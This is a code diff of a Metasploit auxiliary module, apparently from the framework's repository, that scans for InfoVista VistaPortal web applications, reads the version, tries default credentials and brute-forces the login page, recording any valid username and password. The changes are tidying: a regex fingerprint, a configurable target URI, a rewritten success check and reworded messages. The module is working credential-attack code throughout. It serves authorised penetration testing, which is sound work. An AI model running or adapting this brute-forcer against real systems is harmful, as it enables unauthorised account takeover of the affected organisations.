@@ -15,19 +15,12 @@ class Metasploit3 < Msf::Auxiliary
15
15
include Msf ::Auxiliary ::AuthBrute
16
16
include Msf ::Auxiliary ::Scanner
17
17
18
- #
19
- # CONSTANTS
20
- # Used to check if remote app is InfoVista
21
- #
22
-
23
- INFOVISTA_FINGERPRINT = 'InfoVista® VistaPortal®'
24
-
25
18
def initialize ( info = { } )
26
19
super ( update_info ( info ,
27
20
'Name' => 'InfoVista VistaPortal Application Brute Force Login Utility' ,
28
21
'Description' => %{
29
- This module attempts to scan for InfoVista VistaPortal Web Application, finds its version
30
- and performs login brute force to identify valid credentials.
22
+ This module attempts to scan for InfoVista VistaPortal Web Application, finds its
23
+ version and performs login brute force to identify valid credentials.
31
24
} ,
32
25
'Author' =>
33
26
[
@@ -46,14 +39,14 @@ def initialize(info={})
46
39
47
40
def run_host ( ip )
48
41
unless is_app_infovista?
49
- print_error ( "#{ rhost } :#{ rport } -> Application does not appear to be InfoVista VistaPortal. Module will not continue." )
42
+ print_error ( "#{ rhost } :#{ rport } - Application does not appear to be InfoVista VistaPortal. Module will not continue." )
50
43
return
51
44
end
52
45
53
46
status = try_default_credential
54
47
return if status == :abort
55
48
56
- print_status ( "#{ rhost } :#{ rport } -> Brute-forcing..." )
49
+ print_status ( "#{ rhost } :#{ rport } - Brute-forcing..." )
57
50
each_user_pass do |user , pass |
58
51
do_login ( user , pass )
59
52
end
@@ -70,10 +63,10 @@ def is_app_infovista?
70
63
'method' => 'GET'
71
64
} )
72
65
73
- if ( res and res . code == 200 and res . body . include? ( INFOVISTA_FINGERPRINT ) )
66
+ if ( res and res . code == 200 and res . body =~ /InfoVista.*VistaPortal/ )
74
67
version_key = /PORTAL_VERSION = (.+)./
75
68
version = res . body . scan ( version_key ) . flatten [ 0 ] . gsub ( '"' , '' )
76
- print_good ( "#{ rhost } :#{ rport } -> Application version is #{ version } " )
69
+ print_good ( "#{ rhost } :#{ rport } - Application version is #{ version } " )
77
70
return true
78
71
else
79
72
return false
@@ -93,11 +86,11 @@ def try_default_credential
93
86
# Brute-force the login page
94
87
#
95
88
def do_login ( user , pass )
96
- vprint_status ( "#{ rhost } :#{ rport } -> Trying username:#{ user . inspect } with password:#{ pass . inspect } " )
89
+ vprint_status ( "#{ rhost } :#{ rport } - Trying username:#{ user . inspect } with password:#{ pass . inspect } " )
97
90
begin
98
91
res = send_request_cgi (
99
92
{
100
- 'uri' => '/VPortal/mgtconsole/CheckPassword.jsp' ,
93
+ 'uri' => target_uri . to_s ,
101
94
'method' => 'POST' ,
102
95
'vars_post' =>
103
96
{
@@ -106,13 +99,10 @@ def do_login(user, pass)
106
99
}
107
100
} )
108
101
109
- get_response = "<script type=\" text/javascript\" >\r \n location.href = 'AdminFrame.jsp';\r \n </script>\r \n "
110
-
111
- if ( not res or res . code != 200 and res . body != "#{ get_response } " )
112
- vprint_error ( "#{ rhost } :#{ rport } -> FAILED LOGIN - #{ user . inspect } :#{ pass . inspect } with code #{ res . code } " )
113
- return :skip_pass
102
+ if ( not res or res . code != 200 or res . body !~ /location.href.*AdminFrame\. jsp/ )
103
+ vprint_error ( "#{ rhost } :#{ rport } - FAILED LOGIN - #{ user . inspect } :#{ pass . inspect } with code #{ res . code } " )
114
104
else
115
- print_good ( "#{ rhost } :#{ rport } -> SUCCESSFUL LOGIN - #{ user . inspect } :#{ pass . inspect } " )
105
+ print_good ( "#{ rhost } :#{ rport } - SUCCESSFUL LOGIN - #{ user . inspect } :#{ pass . inspect } " )
116
106
117
107
report_hash = {
118
108
:host => rhost ,
@@ -121,14 +111,15 @@ def do_login(user, pass)
121
111
:user => user ,
122
112
:pass => pass ,
123
113
:active => true ,
124
- :type => 'password' }
114
+ :type => 'password'
115
+ }
125
116
126
117
report_auth_info ( report_hash )
127
118
return :next_user
128
119
end
129
120
130
121
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , ::Errno ::EPIPE
131
- print_error ( "#{ rhost } :#{ rport } -> HTTP Connection Failed, Aborting" )
122
+ print_error ( "#{ rhost } :#{ rport } - HTTP Connection Failed, Aborting" )
132
123
return :abort
133
124
end
134
125
end
0 commit comments